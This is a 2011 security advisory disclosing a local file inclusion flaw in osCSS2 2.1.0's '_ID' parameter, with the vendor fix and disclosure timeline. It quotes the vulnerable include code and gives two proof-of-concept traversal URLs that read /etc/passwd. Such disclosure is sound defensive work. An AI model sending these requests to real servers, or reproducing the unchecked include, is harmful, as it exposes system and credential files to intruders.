Advisory:                osCSS2 "_ID" parameter Local file inclusion
Advisory ID:             SSCHADV2011-034
Author:                  Stefan Schurtz
Affected Software:    Successfully tested on osCSS2 2.1.0 (latest version)
Vendor URL:            http://oscss.org/
Vendor Status:         Fixed in svn branche 2.1.0 and reported in develop version 2.1.1

==========================
Vulnerability Description
==========================

osCSS2 2.1.0 "_ID" parameter is prone to a LFI vulnerability

==========================
Vulnerable code
==========================

//.htaccess
RewriteRule ^shopping_cart.php(.{0,})$ content.php?_ID=shopping_cart.php&%{QUERY_STRING}

//content.php
require($page->path_gabarit());

// includes/classes/page.php
public function pile_file_lang($path_file){
    global $lang;
    if(substr($path_file,0,strlen(DIR_FS_CATALOG)) !=DIR_FS_CATALOG) $path_file= DIR_FS_CATALOG.$path_file;

if(!in_array($path_file,(array)$this->PileFileLang))
      include_once($path_file);
}

==================
PoC-Exploit
==================

http://<target>/catalog/shopping_cart.php?_ID=../../../../../../../../../../../etc/passwd
http://<target>/catalog/content.php?_ID=../../../../../../../../../../../etc/passwd

=========
Solution
=========

Fixed in svn branche 2.1.0 and reported in develop version 2.1.1

====================
Disclosure Timeline
====================

08-Nov-2011 - informed vendor
08-Nov-2011 - release date of this security advisory
08-Nov-2011 - fixed by vendor

========
Credits
========

Vulnerability found and advisory written by Stefan Schurtz.

===========
References
===========

http://oscss.org/
http://forums.oscss.org/2-security/oscss2-id-parameter-local-file-inclusion-t1999.html
http://dev.oscss.org/task/892
http://www.rul3z.de/advisories/SSCHADV2011-034.txt